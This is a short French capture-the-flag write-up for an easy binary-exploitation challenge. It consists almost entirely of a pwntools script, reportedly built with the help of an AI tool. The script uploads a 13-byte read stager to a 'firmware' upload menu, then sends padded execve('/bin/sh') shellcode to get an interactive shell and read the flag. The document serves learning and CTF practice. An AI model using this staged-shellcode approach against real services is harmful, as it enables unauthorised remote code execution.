Catégorie: Exploitation de binaires - Difficulté: Facile
Description:
Solution:
Pour terminer ce chall, j'ai développé ce script automatique à l'aide de Manus afin que je comprenne chaque étape nécessaire pour terminer ce challenge.
Voici donc le script final :
from pwn import *
# Target connection details
HOST = "challenges.404ctf.fr"
PORT = 32466
# Assemble stage1 shellcode (13 bytes) using Pwntools asm for AMD64
stage1 = asm(
"""
push rdi; /* Copy firmware pointer (RDI) to RSI */
pop rsi;
xor edi, edi; /* RDI = 0 (stdin FD) */
mov edx, 0x100; /* RDX = 256 (bytes to read) */
xor eax, eax; /* RAX = 0 (sys_read) */
syscall /* invoke read(0, RSI, 256) */
""", arch='amd64'
)
# Verify stage1 length
if len(stage1) != 13:
log.error(f"Stage1 shellcode is {len(stage1)} bytes instead of 13 bytes!")
exit(1)
log.info(f"Stage1 shellcode length OK: {len(stage1)} bytes")
# Assemble stage2 shellcode to spawn /bin/sh
# Using Pwntools shellcraft for a standard execve("/bin/sh") shellcode
stage2_execve = asm(shellcraft.amd64.linux.sh(), arch='amd64')
# Prefix 13 NOPs for padding/alignment
stage2 = b"\x90" * 13 + stage2_execve
# Pad stage2 to 256 bytes (the read length) to avoid blocking
if len(stage2) < 256:
stage2 += b"\x90" * (256 - len(stage2))
stage2 = stage2[:256] # (ensure not over 256, though shellcode likely shorter)
log.info(f"Stage2 shellcode length (including padding): {len(stage2)} bytes")
# Connect to the remote service
io = remote(HOST, PORT)
# Step 1: Select "1. Upload an update"
io.recvuntil(b"> ") # Wait for prompt "Enter your choice\n> "
io.sendline(b"1") # send choice 1
# Step 2: Send stage1 shellcode when prompted for update
io.recvuntil(b"Ready to receive update > ")
io.send(stage1) # send raw 13-byte stage1 payload
# Step 3: Select "2. Run the firmware" to execute stage1
io.recvuntil(b"> ")
io.sendline(b"2") # send choice 2 to run the uploaded firmware
# Stage1 will now be running and performing read, so send stage2
io.send(stage2) # Step 4: send the 256-byte stage2 payload
# Step 5: Hand over to interactive mode – stage2 should spawn a shell
io.interactive()
Le script tourne donc automatiquement et nous donne un shell interactif. Il suffit simplement d'aller chercher le fichier flag.txt afin de récupérer ce que nous cherchons :